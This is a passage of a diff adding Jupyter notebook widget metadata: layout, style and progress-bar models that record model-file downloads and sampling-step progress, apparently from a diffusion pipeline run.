+            "value": " 20/20 [00:05&lt;00:00,  3.80it/s]"
+          }
+        },
+        "b3ca161774d7404d903afbed855f054f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b40740317d3a4116a5b141ad4b6cf6ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dfe593ba3bb440e0a29864c62f7b049e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_03c6a309fc494734bd9ebf16634f9063",
+            "value": " 553/553 [00:00&lt;00:00, 9.43kB/s]"
+          }
+        },
+        "b4c47f72d4204e2abbe9781707b754ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8e4655cdbd0348bb86523938a0d95367",
+              "IPY_MODEL_b99c852bd2f54c79afac0eb0049c5dd0",
+              "IPY_MODEL_5fd422b13c324a8baf619da5d1ad0b8e"
+            ],
+            "layout": "IPY_MODEL_dc16acab929344cab2be08d297182843"
+          }
+        },
+        "b5c2efd1f5044b68bfb75d5fe16d7829": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b6e068b2f21844dc9c184ec49af6b48f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fe213a7fa3c44223847fd5cf3b05a9a5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f546e96ee51643839dd2d98d09df9c87",
+            "value": " 1.02k/1.02k [00:00&lt;00:00, 18.2kB/s]"
+          }
+        },
+        "b74ed8b4d7604233a405f1413959b644": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_422cdb3a6aed4177aba5f6e9ac77e1bf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_14fe6c5fa5274bde8d90be608d3a6814",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "b77a65348afa4b6aae8540dd5d9e4d2c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b7db2ab7ac704366b20c166c701019c0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b897a3bfccf040548ccf16ef62315d5f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b99c852bd2f54c79afac0eb0049c5dd0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d1d635fff656454e9b0cdba740067c07",
+            "max": 10,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e535c42b82cb4e1fa4fbf492768e5762",
+            "value": 10
+          }
+        },
+        "b9a0167274eb44b7be65b17130d3ade6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_876c7d9ec56145338bb7b960b52bddd0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_fa82f3acd0794629b0a5af2383807c2c",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "b9f1fb9570e148e7852f4f569ae82852": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_686e9a80d1554e6ca5ff8e1df5188c31",
+            "placeholder": "​",
+            "style": "IPY_MODEL_20d097bf20d541bda6c8b77a0d021c9a",
+            "value": " 616/616 [00:00&lt;00:00, 33.4kB/s]"
+          }
+        },
+        "ba1422edddc447b78ba7fbf4ba11e364": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "baf9ec5ebd604db9b1f5dfa948742aa2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b9a0167274eb44b7be65b17130d3ade6",
+              "IPY_MODEL_44638b1824bc48de85029440f2f4a612",
+              "IPY_MODEL_b9f1fb9570e148e7852f4f569ae82852"
+            ],
+            "layout": "IPY_MODEL_9f75675721ae47eb99c80fedb78ea2b7"
+          }
+        },
+        "bb3842e44e0a49f2bec66a0bbb971348": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bbac2ab035374103b2c4912aeda2e425": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bbbca2e29d6444f7ba4e592068124650": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bc2730d310454290aedf3e63087213f5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bd4b11f4948c40fb8101049fa3754dde": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5189fa18ab144b5a93124e0b555d5677",
+            "placeholder": "​",
+            "style": "IPY_MODEL_43ac63628b35419cb9db5d234951e84f",
+            "value": " 20/20 [00:02&lt;00:00,  9.11it/s]"
+          }
+        },
+        "be553a7df92e48b687fc177f7ba3c5fd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c0bb5873a4ca4462a28773a269a6c551": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c0c76cb4f1a04bfe86598e0e0dbffe23": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_39e7952fd2c34271a44ca997250a313c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4dc4d2c609eb40eaa6df50be567b2c61",
+            "value": " 20/20 [00:05&lt;00:00,  3.85it/s]"
+          }
+        },
+        "c13cbe7f79d64c9a9ae4fb90a5cbef9a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "c1ee4f8f667743ed94a939a9fe749e39": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_25c92f3c188e4009ba806c6d56cc66c4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_1da8ad0bdb2547cdb4edc5bc5df7a8ea",
+            "value": " 10/10 [00:02&lt;00:00,  3.90it/s]"
+          }
+        },
+        "c25bc0fc44214d9f8a5f4abba43eaf09": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f40c98061f2946b1885193ee817c52a3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9a91880b909e4b05bf668c410f978ca2",
+            "value": " 100/100 [00:27&lt;00:00,  3.84it/s]"
+          }
+        },
+        "c2b0ede066bf405593c66384d9548613": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e11583de8d894d3da80ef3bb1fe52e08",
+            "placeholder": "​",
+            "style": "IPY_MODEL_48e9b5493b8f4191b9707df7c83b0f50",
+            "value": "100%"
+          }
+        },
+        "c2c64d6095704db88ec2210ae3cbfb35": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_94b45bc6f5e24cf3aa16f431bc7ed58a",
+              "IPY_MODEL_3f197b982242418bb24f4156db991c19",
+              "IPY_MODEL_a9d50ec01c8045af902bf580e92ab30c"
+            ],
+            "layout": "IPY_MODEL_ddebad755dce4da8887eb7f3d4dd49ba"
+          }
+        },
+        "c30a4ba5e89d42bfbd3ad524b9ed1303": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_51a8aa7fde0c449392867b95a7aa6c16",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d39253a104af48aab68a5590b0159487",
+            "value": "100%"
+          }
+        },
+        "c327ed98ce284b84ae4cc89d9797b15f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_14aad595b905426b8d7fc4390bd755d8",
+              "IPY_MODEL_d876c82248f1418e83462dcc38f96469",
+              "IPY_MODEL_0f79fff269c349648fb6e15bf127a7c8"
+            ],
+            "layout": "IPY_MODEL_768863d6e7e747709c4413764e7e7093"
+          }
+        },
+        "c3514684a02e496a875cb8fa0e86b449": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0ace66c377a14034a594774ec024e074",
+              "IPY_MODEL_865a15f101944359bbf30226e4cc1c90",
+              "IPY_MODEL_5caac903dab34c119294cd4bfb65725c"
+            ],
+            "layout": "IPY_MODEL_cf013b91c09f493b94c050f224449336"
+          }
+        },
+        "c3a851883eba4e11b70c705a5fae3ee2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6f03e27712e84cc49ad1a665c7537f12",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f3d1f71549674156b493e3771784ec68",
+            "value": 20
+          }
+        },
+        "c4783205744246c99a52bb6bb8df3d7d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c4d2925dd1dd40bab2b22f09bf9497e6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8ce35b01fc9a4b6fbdd650491a58f188",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_18885db0114b49ee8eeb0af098b9a8c9",
+            "value": 20
+          }
+        },
+        "c4f63d6416174604a065f2dc2b8775a7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
